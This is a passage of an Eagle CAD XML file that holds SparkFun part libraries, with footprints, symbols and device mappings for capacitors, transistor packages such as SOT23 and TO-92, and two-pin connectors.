name=\"\"/>\n</technologies>\n</device>\n<device name=\"1210\" package=\"1210\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"1206\" package=\"1206\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"ASMD\" package=\"CTZ3\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"+\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"-\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"KIT\" package=\"CAP-PTH-SMALL-KIT\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"EZ\" package=\"CAP-PTH-SMALLEZ\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n</devices>\n</deviceset>\n</devicesets>\n</library>\n<library name=\"SparkFun-DiscreteSemi\">\n<description>&lt;h3&gt;SparkFun Electronics' preferred foot prints&lt;/h3&gt;\nIn this library you'll find discrete semiconductors- transistors, diodes, TRIACs, optoisolators, etc.&lt;br&gt;&lt;br&gt;\nWe've spent an enormous amount of time creating and checking these footprints and parts, but it is the end user's responsibility to ensure correctness and suitablity for a given componet or application. If you enjoy using this library, please buy one of our products at www.sparkfun.com.\n&lt;br&gt;&lt;br&gt;\n&lt;b&gt;Licensing:&lt;/b&gt; CC v3.0 Share-Alike You are welcome to use this library for commercial purposes. For attribution, we ask that when you begin to sell your device using our footprint, you email us with a link to the product being sold. We want bragging rights that we helped (in a very small part) to create your 8th world wonder. We would like the opportunity to feature your device on our homepage.</description>\n<packages>\n<package name=\"SOT23-3\">\n<wire x1=\"1.4224\" y1=\"0.6604\" x2=\"1.4224\" y2=\"-0.6604\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.4224\" y1=\"-0.6604\" x2=\"-1.4224\" y2=\"-0.6604\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.4224\" y1=\"-0.6604\" x2=\"-1.4224\" y2=\"0.6604\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.4224\" y1=\"0.6604\" x2=\"1.4224\" y2=\"0.6604\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.8\" y1=\"0.7\" x2=\"-1.4\" y2=\"0.7\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.4\" y1=\"0.7\" x2=\"-1.4\" y2=\"-0.1\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"0.8\" y1=\"0.7\" x2=\"1.4\" y2=\"0.7\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"1.4\" y1=\"0.7\" x2=\"1.4\" y2=\"-0.1\" width=\"0.2032\" layer=\"21\"/>\n<smd name=\"1\" x=\"-0.95\" y=\"-1\" dx=\"0.8\" dy=\"0.9\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.95\" y=\"-1\" dx=\"0.8\" dy=\"0.9\" layer=\"1\"/>\n<smd name=\"3\" x=\"0\" y=\"1.1\" dx=\"0.8\" dy=\"0.9\" layer=\"1\"/>\n<text x=\"-0.8255\" y=\"1.778\" size=\"0.4064\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.016\" y=\"-0.1905\" size=\"0.4064\" layer=\"27\">&gt;VALUE</text>\n</package>\n<package name=\"SOT23\">\n<description>&lt;b&gt;SOT-23&lt;/b&gt;</description>\n<smd name=\"3\" x=\"0\" y=\"1.1\" dx=\"1\" dy=\"1.4\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.95\" y=\"-1.1\" dx=\"1\" dy=\"1.4\" layer=\"1\"/>\n<smd name=\"1\" x=\"-0.95\" y=\"-1.1\" dx=\"1\" dy=\"1.4\" layer=\"1\"/>\n<text x=\"-0.889\" y=\"2.032\" size=\"0.4064\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.016\" y=\"-0.1905\" size=\"0.4064\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-0.2286\" y1=\"0.7112\" x2=\"0.2286\" y2=\"1.2954\" layer=\"51\"/>\n<rectangle x1=\"0.7112\" y1=\"-1.2954\" x2=\"1.1684\" y2=\"-0.7112\" layer=\"51\"/>\n<rectangle x1=\"-1.1684\" y1=\"-1.2954\" x2=\"-0.7112\" y2=\"-0.7112\" layer=\"51\"/>\n<wire x1=\"-0.57\" y1=\"0.66\" x2=\"-1.53\" y2=\"0.66\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"-1.53\" y1=\"0.66\" x2=\"-1.53\" y2=\"-0.67\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"1.51\" y1=\"-0.67\" x2=\"1.51\" y2=\"0.67\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"1.51\" y1=\"0.67\" x2=\"0.57\" y2=\"0.67\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"-0.37\" y1=\"-0.69\" x2=\"0.37\" y2=\"-0.69\" width=\"0.127\" layer=\"21\"/>\n</package>\n<package name=\"TO-92\">\n<description>&lt;b&gt;TO 92&lt;/b&gt;</description>\n<wire x1=\"-0.7863\" y1=\"2.5485\" x2=\"-2.0946\" y2=\"-1.651\" width=\"0.2032\" layer=\"21\" curve=\"111.098962\"/>\n<wire x1=\"2.0945\" y1=\"-1.651\" x2=\"0.7863\" y2=\"2.548396875\" width=\"0.2032\" layer=\"21\" curve=\"111.099507\"/>\n<wire x1=\"-2.0945\" y1=\"-1.651\" x2=\"2.0945\" y2=\"-1.651\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-2.6549\" y1=\"-0.254\" x2=\"-2.2537\" y2=\"-0.254\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-0.2863\" y1=\"-0.254\" x2=\"0.2863\" y2=\"-0.254\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"2.2537\" y1=\"-0.254\" x2=\"2.6549\" y2=\"-0.254\" width=\"0.2032\" layer=\"21\"/>\n<pad name=\"1\" x=\"-1.27\" y=\"0\" drill=\"0.8128\" diameter=\"1.8796\"/>\n<pad name=\"2\" x=\"0\" y=\"1.905\" drill=\"0.8128\" diameter=\"1.8796\"/>\n<pad name=\"3\" x=\"1.27\" y=\"0\" drill=\"0.8128\" diameter=\"1.8796\"/>\n<text x=\"3.175\" y=\"0.635\" size=\"0.4064\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"3.175\" y=\"-1.27\" size=\"0.4064\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"SOT223\">\n<description>&lt;b&gt;SOT-223&lt;/b&gt;</description>\n<wire x1=\"3.2766\" y1=\"1.651\" x2=\"3.2766\" y2=\"-1.651\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.2766\" y1=\"-1.651\" x2=\"-3.2766\" y2=\"-1.651\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-3.2766\" y1=\"-1.651\" x2=\"-3.2766\" y2=\"1.651\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-3.2766\" y1=\"1.651\" x2=\"3.2766\" y2=\"1.651\" width=\"0.2032\" layer=\"21\"/>\n<smd name=\"1\" x=\"-2.3114\" y=\"-3.0988\" dx=\"1.2192\" dy=\"2.2352\" layer=\"1\"/>\n<smd name=\"2\" x=\"0\" y=\"-3.0988\" dx=\"1.2192\" dy=\"2.2352\" layer=\"1\"/>\n<smd name=\"3\" x=\"2.3114\" y=\"-3.0988\" dx=\"1.2192\" dy=\"2.2352\" layer=\"1\"/>\n<smd name=\"4\" x=\"0\" y=\"3.099\" dx=\"3.6\" dy=\"2.2\" layer=\"1\"/>\n<text x=\"-0.8255\" y=\"4.5085\" size=\"0.4064\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.0795\" y=\"-0.1905\" size=\"0.4064\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-1.6002\" y1=\"1.8034\" x2=\"1.6002\" y2=\"3.6576\" layer=\"51\"/>\n<rectangle x1=\"-0.4318\" y1=\"-3.6576\" x2=\"0.4318\" y2=\"-1.8034\" layer=\"51\"/>\n<rectangle x1=\"-2.7432\" y1=\"-3.6576\" x2=\"-1.8796\" y2=\"-1.8034\" layer=\"51\"/>\n<rectangle x1=\"1.8796\" y1=\"-3.6576\" x2=\"2.7432\" y2=\"-1.8034\" layer=\"51\"/>\n<rectangle x1=\"-1.6002\" y1=\"1.8034\" x2=\"1.6002\" y2=\"3.6576\" layer=\"51\"/>\n<rectangle x1=\"-0.4318\" y1=\"-3.6576\" x2=\"0.4318\" y2=\"-1.8034\" layer=\"51\"/>\n<rectangle x1=\"-2.7432\" y1=\"-3.6576\" x2=\"-1.8796\" y2=\"-1.8034\" layer=\"51\"/>\n<rectangle x1=\"1.8796\" y1=\"-3.6576\" x2=\"2.7432\" y2=\"-1.8034\" layer=\"51\"/>\n</package>\n<package name=\"SOT89\">\n<wire x1=\"2.3\" y1=\"1.3\" x2=\"2.3\" y2=\"-1.3\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"2.3\" y1=\"-1.3\" x2=\"-2.3\" y2=\"-1.3\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-2.3\" y1=\"-1.3\" x2=\"-2.3\" y2=\"1.3\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-2.3\" y1=\"1.3\" x2=\"2.3\" y2=\"1.3\" width=\"0.2032\" layer=\"21\"/>\n<smd name=\"1\" x=\"-1.5\" y=\"-1.8\" dx=\"0.58\" dy=\"1.2\" layer=\"1\"/>\n<smd name=\"2\" x=\"0\" y=\"-1.8\" dx=\"0.58\" dy=\"1.2\" layer=\"1\"/>\n<smd name=\"3\" x=\"1.5\" y=\"-1.8\" dx=\"0.58\" dy=\"1.2\" layer=\"1\"/>\n<smd name=\"4\" x=\"0\" y=\"1.3\" dx=\"2\" dy=\"2\" layer=\"1\"/>\n<text x=\"-2.5185\" y=\"-0.9555\" size=\"0.4064\" layer=\"25\" rot=\"R90\">&gt;NAME</text>\n<text x=\"2.9905\" y=\"-1.1295\" size=\"0.4064\" layer=\"27\" rot=\"R90\">&gt;VALUE</text>\n<rectangle x1=\"-0.915\" y1=\"0.3034\" x2=\"0.915\" y2=\"2.1576\" layer=\"51\"/>\n<rectangle x1=\"-1.74\" y1=\"-2.23\" x2=\"-1.26\" y2=\"-1.27\" layer=\"51\"/>\n<rectangle x1=\"-0.24\" y1=\"-2.23\" x2=\"0.24\" y2=\"-1.27\" layer=\"51\"/>\n<rectangle x1=\"1.26\" y1=\"-2.23\" x2=\"1.74\" y2=\"-1.27\" layer=\"51\"/>\n</package>\n<package name=\"TO-92-AMMO\">\n<wire x1=\"-2.0946\" y1=\"-1.651\" x2=\"-0.7863\" y2=\"2.5485\" width=\"0.2032\" layer=\"21\" curve=\"-111.098957\" cap=\"flat\"/>\n<wire x1=\"0.7863\" y1=\"2.5484\" x2=\"2.0945\" y2=\"-1.651\" width=\"0.2032\" layer=\"21\" curve=\"-111.09954\" cap=\"flat\"/>\n<wire x1=\"-2.0945\" y1=\"-1.651\" x2=\"2.0945\" y2=\"-1.651\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"2.54\" x2=\"0.635\" y2=\"2.54\" width=\"0.2032\" layer=\"21\" curve=\"-25.057615\"/>\n<wire x1=\"0.635\" y1=\"2.54\" x2=\"1.905\" y2=\"1.905\" width=\"0.2032\" layer=\"21\" curve=\"-28.072487\"/>\n<wire x1=\"-1.905\" y1=\"1.905\" x2=\"0.635\" y2=\"2.54\" width=\"0.2032\" layer=\"21\" curve=\"-53.130102\"/>\n<pad name=\"3\" x=\"2.54\" y=\"0\" drill=\"0.8128\" diameter=\"1.8796\"/>\n<pad name=\"2\" x=\"0\" y=\"0\" drill=\"0.8128\" diameter=\"1.8796\"/>\n<pad name=\"1\" x=\"-2.54\" y=\"0\" drill=\"0.8128\" diameter=\"1.8796\"/>\n<text x=\"3.175\" y=\"1.905\" size=\"0.4064\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"3.175\" y=\"-1.905\" size=\"0.4064\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"SOT323\">\n<wire x1=\"1.1224\" y1=\"0.6604\" x2=\"1.1224\" y2=\"-0.6604\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.1224\" y1=\"-0.6604\" x2=\"-1.1224\" y2=\"-0.6604\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.1224\" y1=\"-0.6604\" x2=\"-1.1224\" y2=\"0.6604\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.1224\" y1=\"0.6604\" x2=\"1.1224\" y2=\"0.6604\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.8\" y1=\"0.7\" x2=\"-1.1\" y2=\"0.7\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.1\" y1=\"0.7\" x2=\"-1.1\" y2=\"-0.1\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"0.8\" y1=\"0.7\" x2=\"1.1\" y2=\"0.7\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"1.1\" y1=\"0.7\" x2=\"1.1\" y2=\"-0.1\" width=\"0.2032\" layer=\"21\"/>\n<smd name=\"1\" x=\"-0.65\" y=\"-0.925\" dx=\"0.7\" dy=\"0.7\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.65\" y=\"-0.925\" dx=\"0.7\" dy=\"0.7\" layer=\"1\"/>\n<smd name=\"3\" x=\"0\" y=\"0.925\" dx=\"0.7\" dy=\"0.7\" layer=\"1\"/>\n<text x=\"-1.1255\" y=\"1.878\" size=\"0.4064\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.116\" y=\"1.3095\" size=\"0.4064\" layer=\"27\">&gt;VALUE</text>\n</package>\n</packages>\n<symbols>\n<symbol name=\"NPN\">\n<wire x1=\"2.54\" y1=\"2.54\" x2=\"0.508\" y2=\"1.524\" width=\"0.1524\" layer=\"94\"/>\n<wire x1=\"1.778\" y1=\"-1.524\" x2=\"2.54\" y2=\"-2.54\" width=\"0.1524\" layer=\"94\"/>\n<wire x1=\"2.54\" y1=\"-2.54\" x2=\"1.27\" y2=\"-2.54\" width=\"0.1524\" layer=\"94\"/>\n<wire x1=\"1.27\" y1=\"-2.54\" x2=\"1.778\" y2=\"-1.524\" width=\"0.1524\" layer=\"94\"/>\n<wire x1=\"1.54\" y1=\"-2.04\" x2=\"0.308\" y2=\"-1.424\" width=\"0.1524\" layer=\"94\"/>\n<wire x1=\"1.524\" y1=\"-2.413\" x2=\"2.286\" y2=\"-2.413\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"2.286\" y1=\"-2.413\" x2=\"1.778\" y2=\"-1.778\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"1.778\" y1=\"-1.778\" x2=\"1.524\" y2=\"-2.286\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"1.524\" y1=\"-2.286\" x2=\"1.905\" y2=\"-2.286\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"1.905\" y1=\"-2.286\" x2=\"1.778\" y2=\"-2.032\" width=\"0.254\" layer=\"94\"/>\n<text x=\"5.08\" y=\"0\" size=\"1.778\" layer=\"95\">&gt;NAME</text>\n<text x=\"5.08\" y=\"-2.54\" size=\"1.778\" layer=\"96\">&gt;VALUE</text>\n<rectangle x1=\"-0.254\" y1=\"-2.54\" x2=\"0.508\" y2=\"2.54\" layer=\"94\"/>\n<pin name=\"B\" x=\"-2.54\" y=\"0\" visible=\"off\" length=\"short\" direction=\"pas\" swaplevel=\"1\"/>\n<pin name=\"E\" x=\"2.54\" y=\"-5.08\" visible=\"off\" length=\"short\" direction=\"pas\" swaplevel=\"3\" rot=\"R90\"/>\n<pin name=\"C\" x=\"2.54\" y=\"5.08\" visible=\"off\" length=\"short\" direction=\"pas\" swaplevel=\"2\" rot=\"R270\"/>\n</symbol>\n</symbols>\n<devicesets>\n<deviceset name=\"TRANSISTOR_NPN\" prefix=\"Q\" uservalue=\"yes\">\n<description>Generic NPN BJT. MMBT2222 is the common NPN we use. Double check against datasheet- not all devices are the same!</description>\n<gates>\n<gate name=\"G$1\" symbol=\"NPN\" x=\"0\" y=\"0\"/>\n</gates>\n<devices>\n<device name=\"SOT23\" package=\"SOT23\">\n<connects>\n<connect gate=\"G$1\" pin=\"B\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"C\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"E\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"SOT23-3\" package=\"SOT23-3\">\n<connects>\n<connect gate=\"G$1\" pin=\"B\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"C\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"E\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"TO92\" package=\"TO-92\">\n<connects>\n<connect gate=\"G$1\" pin=\"B\" pad=\"2\"/>\n<connect gate=\"G$1\" pin=\"C\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"E\" pad=\"1\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"SOT223\" package=\"SOT223\">\n<connects>\n<connect gate=\"G$1\" pin=\"B\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"C\" pad=\"2\"/>\n<connect gate=\"G$1\" pin=\"E\" pad=\"3\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"SOT89\" package=\"SOT89\">\n<connects>\n<connect gate=\"G$1\" pin=\"B\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"C\" pad=\"2\"/>\n<connect gate=\"G$1\" pin=\"E\" pad=\"3\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"TO-92-AMMO\" package=\"TO-92-AMMO\">\n<connects>\n<connect gate=\"G$1\" pin=\"B\" pad=\"2\"/>\n<connect gate=\"G$1\" pin=\"C\" pad=\"3\"/>\n<connect gate=\"G$1\" pin=\"E\" pad=\"1\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"SOT323(SC-70)\" package=\"SOT323\">\n<connects>\n<connect gate=\"G$1\" pin=\"B\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"C\" pad=\"2\"/>\n<connect gate=\"G$1\" pin=\"E\" pad=\"3\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n</devices>\n</deviceset>\n</devicesets>\n</library>\n<library name=\"SparkFun 26-2-11\">\n<description>&lt;h3&gt;SparkFun Electronics' preferred foot prints&lt;/h3&gt;\nWe've spent an enormous amount of time creating and checking these footprints and parts. If you enjoy using this library, please buy one of our products at www.sparkfun.com.\n&lt;br&gt;&lt;br&gt;\n&lt;b&gt;Licensing:&lt;/b&gt; CC v3.0 Share-Alike You are welcome to use this library for commercial purposes. For attribution, we ask that when you begin to sell your device using our footprint, you email us with a link to the product being sold. We want bragging rights that we helped (in a very small part) to create your 8th world wonder. We would like the opportunity to feature your device on our homepage.</description>\n<packages>\n<package name=\"1X02\">\n<wire x1=\"-0.635\" y1=\"1.27\" x2=\"0.635\" y2=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"1.27\" x2=\"1.27\" y2=\"0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"1.27\" y1=\"-0.635\" x2=\"0.635\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"1.27\" y1=\"0.635\" x2=\"1.905\" y2=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"1.905\" y1=\"1.27\" x2=\"3.175\" y2=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.175\" y1=\"1.27\" x2=\"3.81\" y2=\"0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"-0.635\" x2=\"3.175\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.175\" y1=\"-1.27\" x2=\"1.905\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"1.905\" y1=\"-1.27\" x2=\"1.27\" y2=\"-0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"0.635\" x2=\"-1.27\" y2=\"-0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"1.27\" x2=\"-1.27\" y2=\"0.635\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"-0.635\" x2=\"-0.635\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"-1.27\" x2=\"-0.635\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"0.635\" x2=\"3.81\" y2=\"-0.635\" width=\"0.2032\" layer=\"21\"/>\n<pad name=\"1\" x=\"0\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\" rot=\"R90\"/>\n<pad name=\"2\" x=\"2.54\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\" rot=\"R90\"/>\n<text x=\"-1.3462\" y=\"1.8288\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-3.175\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"2.286\" y1=\"-0.254\" x2=\"2.794\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-0.254\" y1=\"-0.254\" x2=\"0.254\" y2=\"0.254\" layer=\"51\"/>\n</package>\n<package name=\"MOLEX-1X2\">\n<wire x1=\"-1.27\" y1=\"3.048\" x2=\"-1.27\" y2=\"-2.54\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"3.048\" x2=\"3.81\" y2=\"-2.54\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"3.048\" x2=\"-1.27\" y2=\"3.048\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"-2.54\" x2=\"2.54\" y2=\"-2.54\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"2.54\" y1=\"-2.54\" x2=\"0\" y2=\"-2.54\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"0\" y1=\"-2.54\" x2=\"-1.27\" y2=\"-2.54\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"0\" y1=\"-2.54\" x2=\"0\" y2=\"-1.27\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"0\" y1=\"-1.27\" x2=\"2.54\" y2=\"-1.27\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"2.54\" y1=\"-1.27\" x2=\"2.54\" y2=\"-2.54\" width=\"0.127\" layer=\"21\"/>\n<pad name=\"1\" x=\"0\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\" shape=\"square\"/>\n<pad name=\"2\" x=\"2.54\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\"/>\n</package>\n<package name=\"SCREWTERMINAL-3.5MM-2\">\n<wire x1=\"-1.75\" y1=\"3.4\" x2=\"5.25\" y2=\"3.4\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"5.25\" y1=\"3.4\" x2=\"5.25\" y2=\"-2.8\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"5.25\" y1=\"-2.8\" x2=\"5.25\" y2=\"-3.6\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"5.25\" y1=\"-3.6\" x2=\"-1.75\" y2=\"-3.6\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.75\" y1=\"-3.6\" x2=\"-1.75\" y2=\"-2.8\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.75\" y1=\"-2.8\" x2=\"-1.75\" y2=\"3.4\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"5.25\" y1=\"-2.8\" x2=\"-1.75\" y2=\"-2.8\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.75\" y1=\"-1.35\" x2=\"-2.15\" y2=\"-1.35\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-2.15\" y1=\"-1.35\" x2=\"-2.15\" y2=\"-2.35\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-2.15\" y1=\"-2.35\" x2=\"-1.75\" y2=\"-2.35\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"5.25\" y1=\"3.15\" x2=\"5.65\" y2=\"3.15\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"5.65\" y1=\"3.15\" x2=\"5.65\" y2=\"2.15\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"5.65\" y1=\"2.15\" x2=\"5.25\" y2=\"2.15\" width=\"0.2032\" layer=\"51\"/>\n<circle x=\"2\" y=\"3\" radius=\"0.2828\" width=\"0.127\" layer=\"51\"/>\n<pad name=\"1\" x=\"0\" y=\"0\" drill=\"1.2\" diameter=\"2.032\" shape=\"square\"/>\n<pad name=\"2\" x=\"3.5\" y=\"0\" drill=\"1.2\" diameter=\"2.032\"/>\n<text x=\"-1.27\" y=\"2.54\" size=\"0.4064\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"1.27\" size=\"0.4064\" layer=\"27\">&gt;VALUE</text>\n</package>\n<package name=\"JST-2-SMD\">\n<description>2mm SMD side-entry connector. tDocu layer indicates the actual physical plastic housing. +/- indicate SparkFun standard batteries and wiring.</description>\n<wire x1=\"-4\" y1=\"-1\" x2=\"-4\" y2=\"-4.5\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-4\" y1=\"-4.5\" x2=\"-3.2\" y2=\"-4.5\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-3.2\" y1=\"-4.5\" x2=\"-3.2\" y2=\"-2\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-3.2\" y1=\"-2\" x2=\"-2\" y2=\"-2\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"2\" y1=\"-2\" x2=\"3.2\" y2=\"-2\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.2\" y1=\"-2\" x2=\"3.2\" y2=\"-4.5\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.2\" y1=\"-4.5\" x2=\"4\" y2=\"-4.5\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"4\" y1=\"-4.5\" x2=\"4\" y2=\"-1\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"2\" y1=\"3\" x2=\"-2\" y2=\"3\" width=\"0.2032\" layer=\"21\"/>\n<smd name=\"1\" x=\"-1\" y=\"-3.7\" dx=\"1\" dy=\"4.6\" layer=\"1\"/>\n<smd name=\"2\" x=\"1\" y=\"-3.7\" dx=\"1\" dy=\"4.6\" layer=\"1\"/>\n<smd name=\"NC1\" x=\"-3.4\" y=\"1.5\" dx=\"3.4\" dy=\"1.6\" layer=\"1\" rot=\"R90\"/>\n<smd name=\"NC2\" x=\"3.4\" y=\"1.5\" dx=\"3.4\" dy=\"1.6\" layer=\"1\" rot=\"R90\"/>\n<text x=\"-1.27\" y=\"1.27\" size=\"0.4064\" layer=\"25\">&gt;Name</text>\n<text x=\"-1.27\" y=\"0\" size=\"0.4064\" layer=\"27\">&gt;Value</text>\n<text x=\"2.159\" y=\"-4.445\" size=\"1.27\" layer=\"51\">+</text>\n<text x=\"-2.921\" y=\"-4.445\" size=\"1.27\" layer=\"51\">-</text>\n</package>\n<package name=\"1X02_BIG\">\n<wire x1=\"-1.27\" y1=\"1.27\" x2=\"-1.27\" y2=\"-1.27\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"-1.27\" x2=\"5.08\" y2=\"-1.27\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"5.08\" y1=\"-1.27\" x2=\"5.08\" y2=\"1.27\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"5.08\" y1=\"1.27\" x2=\"-1.27\" y2=\"1.27\" width=\"0.127\" layer=\"21\"/>\n<pad name=\"P$1\" x=\"0\" y=\"0\" drill=\"1.0668\"/>\n<pad name=\"P$2\" x=\"3.81\" y=\"0\" drill=\"1.0668\"/>\n</package>\n<package name=\"JST-2-SMD-VERT\">\n<wire x1=\"-4.1\" y1=\"2.97\" x2=\"4.2\" y2=\"2.97\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"4.2\" y1=\"2.97\" x2=\"4.2\" y2=\"-2.13\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"4.2\" y1=\"-2.13\" x2=\"-4.1\" y2=\"-2.13\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-4.1\" y1=\"-2.13\" x2=\"-4.1\" y2=\"2.97\" 